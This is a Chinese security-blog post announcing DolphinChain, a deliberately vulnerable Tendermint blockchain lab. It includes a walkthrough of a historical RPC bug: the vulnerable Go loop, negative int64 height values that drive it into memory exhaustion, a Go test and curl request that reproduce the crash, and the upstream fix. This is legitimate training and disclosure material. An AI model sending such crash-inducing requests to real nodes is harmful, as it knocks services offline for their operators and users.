全球首个区块链应用靶机:DOLPHINCHAIN开源发布 – 作者:BUGX

dolphinchain.logo.png

项目github地址:https://github.com/XuanMaoSecLab/DolphinChain

DolphinChain是由玄猫安全实验室维护的区块链应用靶机,旨在教授区块链应用程序安全课程。您可以使用 DolphinChain进行安装和练习。

DolphinChain基于 tendermint v0.31.2 (WARNING: ALPHA SOFTWARE)开发,是当时的tendermint最新版本。在这个版本里(v1.0.0),我们在DolphinChain设置了10多个缺陷。任何白帽子与区块链开发者都可以尝试挖掘漏洞。DolphinChain目的在于帮助安全人员提高技能,同时帮助区块链开发者更好地了解保护区块链应用程序的过程。

一、Installation

1.下载并安装golang(https://golang.org/doc/install);

2.获取DolphinChain;

3.获取DolphinChain的所有依赖。

只要以上步骤,你就已经准备好。你可以在部署文档(https://github.com/XuanMaoSecLab/DolphinChain/blob/master/doc/Installation.md) 找到更详细的安装步骤。

二、Usage

部署DolphinChain ->寻找缺陷代码->编写验证脚本->验证漏洞存在。

1.寻找漏洞:区块链漏洞主要由代码问题及业务逻辑问题引起。

2.编写验证脚本:有两种方式,PoC或Go test测试脚本。

当然我们会公开所有漏洞Writeup 。您可以通过我们另一个仓库查看。同时,我们也归纳了tendermint的历史漏洞,见Tendermint Bugs History(https://github.com/XuanMaoSecLab/DolphinChain#tendermint-bugs-history)

接下来,通过手把手地展示第一个漏洞的发现与测试过程,让大家更好地理解DolphinChain的使用方法。

三、第一个漏洞writeup示例:RPC请求因For-loop导致OOM

这是一个来自hackerone提交的关于RPC的漏洞。恶意的BlockchainInfo请求可能会导致无限循环,最终导致内存耗尽导致崩溃。

四、漏洞分析

首先,发现block.go文件下一处for-loop代码,可能有漏洞。

文件:rpc/core/blocks.go

func BlockchainInfo(minHeight, maxHeight int64) (*ctypes.ResultBlockchainInfo, error) {

if minHeight == 0 {

minHeight = 1

}

if maxHeight == 0 {

maxHeight = blockStore.Height()

} else {

maxHeight = cmn.MinInt64(blockStore.Height(), maxHeight)

}

// maximum 20 block metas

const limit int64 = 20

minHeight = cmn.MaxInt64(minHeight, maxHeight-limit)

logger.Debug("BlockchainInfoHandler", "maxHeight", maxHeight, "minHeight", minHeight)

if minHeight > maxHeight {

return nil, fmt.Errorf("min height %d can't be greater than max height %d", minHeight, maxHeight)

}

blockMetas := []*types.BlockMeta{}

for height := maxHeight; height >= minHeight; height-- { // for-loop

blockMeta := blockStore.LoadBlockMeta(height)

blockMetas = append(blockMetas, blockMeta)

}

return &ctypes.ResultBlockchainInfo{blockStore.Height(), blockMetas}, nil

}

攻击者可以发送如下参数值:

minHeight = -9223372036854775808 (min int64)

maxHeight = -9223372036854775788 (minHeight + 20)

注意到maxHeight = cmn.MinInt64(blockStore.Height(), maxHeight),其中MinInt64为从两个参数选择较小的,所以我们使用负值的maxHeight。

注意循环语句:

for height := maxHeight; height >= minHeight; height-- {}

代码中的for-loop会可以无限次循环执行。当达到循环次数9223372036854775807(max int64) ,还能继续进行。每次无法查找块时,它会向blockMetas向量追加一个nil。 最终,这将增长到足以耗尽服务器上的内存。

五、复现或测试步骤

此处可以有两种复现方式:

5.1 使用go test脚本测试

// XuanMao : Bug test

func TestBlockchainInfoForloop(t *testing.T) {

config := cfg.ResetTestRoot("node_node_test")

defer os.RemoveAll(config.RootDir)

// create & start node

n, err := DefaultNewNode(config, log.TestingLogger())

require.NoError(t, err)

err = n.Start()

    require.NoError(t, err)

    

c := struct {

min, max     int64

}{

-9223372036854775808, -9223372036854775788,

}

BlockchainInfo(c.min,c.max)

}

crash.png

可以看到内存持续上升,几分钟后程序crash。

5.2 启动节点复现

开启一个节点,并向节点接口(`e.g. 127.0.0.1:26657`),发送以下请求:

curl 'http:///blockchain?minHeight=-9223372036854775808&maxHeight=-9223372036854775788'

六、修复

本漏洞相关修复见: Fix(https://github.com/tendermint/tendermint/commit/8dc655dad25b0b04f271cb66ba73fd504db3195d)

本漏洞在版本v0.22.6中修复。

修复方法:

增加filterMinMax对输入的参数值进行检查处理。

1.检查参数值不小于0;

2.min小于 max;

3.当min为0时,设置为1,当max为0 ,设置为最后区块高度。

// error if either min or max are negative or min < max

// if 0, use 1 for min, latest block height for max

// enforce limit.

// error if min > max

func filterMinMax(height, min, max, limit int64) (int64, int64, error) {

// filter negatives

if min < 0 || max < 0 {

return min, max, fmt.Errorf("heights must be non-negative")

}

// adjust for default values

if min == 0 {

min = 1

}

if max == 0 {

max = height

}

// limit max to the height

max = cmn.MinInt64(height, max)

// limit min to within `limit` of max

// so the total number of blocks returned will be `limit`

min = cmn.MaxInt64(min, max-limit+1)

if min > max {

return min, max, fmt.Errorf("min height %d can't be greater than max height %d", min, max)

}

return min, max, nil

}

七、writeup与后续计划

1.链上还有些bugs我们正在修补;

2.针对已有的约10个漏洞编写`Writup`;

3.梳理新的漏洞作为后续漏洞开发;

4.一些特别有趣的想法。

八、Contribution

欢迎通过issue提交问题。同时,您也可以跟我们一起开发更多的漏洞。

贡献者:Tri0nes、Javierlev

欢迎关注公众号:区块安全,了解更多关于区块链安全的资讯。

玄猫介绍.png

来源:freebuf.com 2019-04-22 10:00:34 by: BUGX

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论